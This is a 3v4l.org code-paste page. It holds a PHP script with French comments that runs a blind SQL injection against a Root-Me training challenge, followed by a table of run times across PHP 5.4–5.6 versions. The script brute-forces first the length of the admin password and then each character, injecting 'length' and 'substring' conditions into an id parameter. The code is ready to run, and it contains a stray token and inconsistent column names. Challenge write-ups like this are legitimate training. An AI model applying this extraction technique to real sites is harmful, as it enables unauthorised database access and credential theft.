3v4l.org

run code in 300+ PHP versions simultaneously
<?php //On désactive la limite des 30sec d'exécution du script set_time_limit(0); //L'URL standard à exploiter $url="http://challenge01.root-me.org/web-serveur/ch10?id=1"; /* Bruteforce de la longueur du pass */ $max = 40; //La longueur maxi qu'on s'autorise $longueur = 0; echo "Bruteforce de la longueur du mot de passe en cours...<br />"; for($i = 1; $i<$max; $i++){ //On ouvre l'URL $fp = fopen($url . urlencode(" and length(password)=$i"),"r"); $buf = ""; //On lit le résultat while(!feof($fp)) { $buf .= fgets($fp); } //Si on trouve "admin" sur la page if(preg_match("/admin/",$buf)) { echo "La longueur du pass est : $i <br />"; $longueur = $i; break; } } if($longueur == 0) die("Longueur non trouvée"); /* Bruteforce du pass */ 5 $pass = ""; $i = 1; //Plage des caractères ASCII à balayer $borne_inf = 48; $borne_sup = 123; //Initialisation $code = $borne_inf; while($i <= $longueur){ if($code == $borne_sup + 1) $code = $borne_inf; //On ouvre l'URL $fp = fopen($url.urlencode(" and substring(pass,$i,1)=char($code)"),"r"); $ligne = ""; //On lit et on teste while(!feof($fp)) { $ligne .= fgets($fp); } if(preg_match("/admin/",$ligne)) { //Une lettre à été trouvée ! echo "$i eme lettre trouvée : ".chr($code)." <br />"; $pass .= chr($code); //On passe au caractère suivant $i++; $code = $borne_inf; } $code++; } echo "Pass final : $pass <br />"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.6.130.0070.03718.13
5.6.120.0100.06021.09
5.6.110.0070.08320.96
5.6.100.0030.08721.00
5.6.90.0100.08020.93
5.6.80.0100.06720.46
5.5.290.0030.08317.93
5.5.280.0170.07320.90
5.5.270.0130.07720.76
5.5.260.0100.08320.88
5.5.250.0070.08020.68
5.5.240.0030.04020.13
5.4.450.0300.05719.32
5.4.440.0200.05019.08
5.4.430.0070.06019.33
5.4.420.0130.05319.53
5.4.410.0130.05319.24
5.4.400.0200.04719.17
5.4.390.0200.05019.21
5.4.380.0230.04719.16
5.4.370.0130.05319.24
5.4.360.0070.06318.93
5.4.350.0200.04719.07
5.4.340.0200.05019.26
5.4.320.0170.05018.89
5.4.310.0230.04318.77
5.4.300.0070.05719.07
5.4.290.0100.05319.09
5.4.280.0170.05018.89
5.4.270.0200.04718.99
5.4.260.0100.05319.20
5.4.250.0030.06019.23
5.4.240.0070.05719.19
5.4.230.0170.05019.23
5.4.220.0200.05019.20
5.4.210.0200.04319.16
5.4.200.0200.04319.20
5.4.190.0200.05019.20
5.4.180.0170.04719.05
5.4.170.0100.05318.77
5.4.160.0100.05318.91
5.4.150.0170.05319.11
5.4.140.0070.05716.32
5.4.130.0200.04316.60
5.4.120.0100.05716.71
5.4.110.0200.04716.62
5.4.100.0170.04716.27
5.4.90.0170.05016.51
5.4.80.0170.04316.40
5.4.70.0370.06016.63
5.4.60.0030.05016.54
5.4.50.0030.07316.51
5.4.40.0230.07016.34
5.4.30.0300.04316.43
5.4.20.0300.05716.52

preferences:
140.04 ms | 1398 KiB | 7 Q